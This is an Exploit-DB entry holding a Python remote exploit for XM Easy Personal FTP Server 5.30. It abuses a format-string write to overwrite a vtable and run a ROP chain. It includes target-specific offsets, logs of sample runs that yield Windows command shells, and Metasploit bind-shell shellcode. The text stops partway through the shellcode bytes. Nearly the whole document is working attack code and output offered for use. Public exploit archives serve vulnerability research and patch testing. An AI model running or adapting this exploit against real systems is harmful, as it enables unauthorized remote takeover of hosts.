Exploit-DB #19131
Description: XM Easy Personal FTP Server 5.30 - Remote Format String Write4
Type: remote
Platform: windows
Date: 2012-06-14
Author: mr_me

Exploit:
#!/usr/bin/python
# XM Easy Personal FTP Server v <= 5.30 Remote Format String write4 Exploit
# exploit by: mr_me (@net__ninja/mr_me[at]corelan.be)
# Thanks to the Corelan Security Team
# Note: this is a poc only, and requires the following target environment:
# 	Windows Server 23k:
#		- msvcrt.dll v7.0.3790.3959
#		- ntdll.dll v5.2.3790.4937
#
#	..or
#
#	Windows XP SP3:
#		- msvcrt.dll v7.0.2600.5512
#		- ntdll.dll v5.1.2600.6055
# 
# Fully tested against these environments.
# 
# An additional offset for the allocated chunk (0x00AEFAB9) under Windows XP SP3 
# (ntdll.dll vv5.1.2600.5512 (xpsp[PII_REDACTED])) are:
#	
# 	if auth_required == 1:
#		sploit += "%11467127x"       # lookaside chunk address 0x00AEFAB9
#	elif auth_required == 2:
#		sploit += "%11467133x"       # lookaside chunk address 0x00AEFAB9
# 
# Thanks to @_bcoles for the additional testing and target.
#
# Well, after 6 years of DoS, 2 DoS metasploit modules later, I thought it would be a good
# time for some unreliable RCE:
#
# - http://www.exploit-db.com/search/?action=search&filter_description=XM+Easy+Personal
# - http://www.metasploit.com/modules/framework/search?utf8=%E2%9C%93&osvdb=&bid=&text=XM+Easy&cve=&msb=
#
# How is the exploit working? Voodoo? ...no
# 
# Basically at crash time I could only find our string at [esp-0xYYYYYYYY] and as such 
# couldn't use our string to overwrite an arbitrary function pointer. But when I looked 
# closer at the esp, I noticed that at esp+0x7c an object is stored. So what I did was 
# use the %n to overwrite the objects vtable with a controlled value (str length + %YYx 
# to pad out the arbitrary fake vtable). During the application authentication routine, 
# it will allocate the strings we send as USER/PASS from a heap and then free them to 
# the lookaside (as long as the string length is < 1016 bytes in size).
# 
# Because this address is relative and has a static base in this environment, I was able
# to use the heap chunk address as the pointer to write at the vtable. Then a function is
# called at offset 0xb0 or 0x98 and we can reliably return into a ROP payload and execute
# arbitrary code.
#
# Enjoy the shells guys 
# ~ mr_me
# 
# example exploitation against XP:
#
# mr_me@gliese:~/pentest/research/targets/xm$ ./xm_pwnage.py 192.168.153.160 
# -------------------------------------------------------------------------
#  XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit
#  Written by mr_me (@net__ninja)                                            
# -------------------------------------------------------------------------
# 
# (+) Choose your target:
# 	1. Windows Server 2003 EN
# 	2. Windows XP SP3 EN
# --> 2
# (+) Choose your option:
#       1. use no authentication (anonymous is disabled)
#       2. use authentication (anonymous is enabled)
# --> 1
# (+) Connecting to the target 192.168.153.160:21
# (+) Seeding payload...
# (+) Triggering write4....
# (+) Connecting to the targets shell!
# Connection to 192.168[PII_REDACTED] port [tcp/*] succeeded!
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
# 
# C:\Documents and Settings\steve>
#
# example exploitation against Windows Server 23k:
#
# mr_me@gliese:~/pentest/research/targets/xm$ ./poc_working.py 192.168.153.159 
# -------------------------------------------------------------------------
#  XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit
#  Written by mr_me (@net__ninja)                                          
# -------------------------------------------------------------------------
# 
# (+) Choose your target:
# 	1. Windows Server 2003 EN
# 	2. Windows XP SP3 EN
# --> 1
# (+) Choose your option:
# 	1. use no authentication (anonymous is disabled)
# 	2. use authentication (anonymous is enabled)
# --> 2
# (+) Connecting to the target 192.168.153.159:21
# (+) Seeding payload...
# (+) Triggering write4....
# (+) Connecting to the targets shell!
# Connection to 192.168[PII_REDACTED] port [tcp/*] succeeded!
# Microsoft Windows [Version 5.2.3790]
# (C) Copyright 1985-2003 Microsoft Corp.
# 
# C:\Documents and Settings\Administrator\Desktop>
#

import socket
import struct
import sys
from os import system
from time import sleep

host = ''
port = 21

# ./msfpayload windows/shell_bind_tcp exitfunc=seh R | 
# ./msfencode -b "\x00\x0a\x0d" -e x86/jmp_call_additive -t c
# [*] x86/jmp_call_additive succeeded with size 373 (iteration=1
sc = ("\xfc\xbb\x70\x4e\xf9\xb6\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x8c\xa6\x70\xb6\x6c"
"\x37\xe3\x3e\x89\x06\x31\x24\xda\x3b\x85\x2e\x8e\xb7\x6e\x62"
"\x3a\x43\x02\xab\x4d\xe4\xa9\x8d\x60\xf5\x1f\x12\x2e\x35\x01"
"\xee\x2c\x6a\xe1\xcf\xff\x7f\xe0\x08\x1d\x8f\xb0\xc1\x6a\x22"
"\x25\x65\x2e\xff\x44\xa9\x25\xbf\x3e\xcc\xf9\x34\xf5\xcf\x29"
"\xe4\x82\x98\xd1\x8e\xcd\x38\xe0\x43\x0e\x04\xab\xe8\xe5\xfe"
"\x2a\x39\x34\xfe\x1d\x05\x9b\xc1\x92\x88\xe5\x06\x14\x73\x90"
"\x7c\x67\x0e\xa3\x46\x1a\xd4\x26\x5b\xbc\x9f\x91\xbf\x3d\x73"
"\x47\x4b\x31\x38\x03\x13\x55\xbf\xc0\x2f\x61\x34\xe7\xff\xe0"
"\x0e\xcc\xdb\xa9\xd5\x6d\x7d\x17\xbb\x92\x9d\xff\x64\x37\xd5"
"\xed\x71\x41\xb4\x79\xb5\x7c\x47\x79\xd1\xf7\x34\x4b\x7e\xac"
"\xd2\xe7\xf7\x6a\x24\x08\x22\xca\xba\xf7\xcd\x2b\x92\x33\x99"
"\x7b\x8c\x92\xa2\x17\x4c\x1b\x77\xb7\x1c\xb3\x28\x78\xcd\x73"
"\x99\x10\x07\x7c\xc6\x01\x28\x57\x71\x06\xe6\x8c\xd1\xe1\x0b"
"\x32\xc7\xad\x82\xd4\x8d\x5d\xc3\x4f\x3a\x9c\x30\x58\xdd\xdf"
"\x12\xf5\x76\x48\x2a\x10\x40\x77\xab\x37\xe2\xd4\x03\xdf\x71"
"\x37\x90\xfe\x85\x12\xb0\x89\xbd\xf5\x4a\xe7\x0c\x67\x4a\x22"
"\xe6\x04\xd9\xa8\xf7\x43\xc2\x67\xaf\x04\x34\x71\x25\xb9\x6f"
"\x2b\x58\x40\xe9\x14\xd8\x9f\xca\x9b\xe0\x52\x76\xbf\xf2\xaa"
"\x77\xfb\xa6\x62\x2e\x55\x11\xc5\x98\x17\xcb\x9f\x77\xf1\x9b"
"\x66\xb4\xc2\xdd\x66\x91\xb5\x02\xd6\x4c\x83\x3d\xd7\x18\x03"
"\x45\x05\xb9\xec\x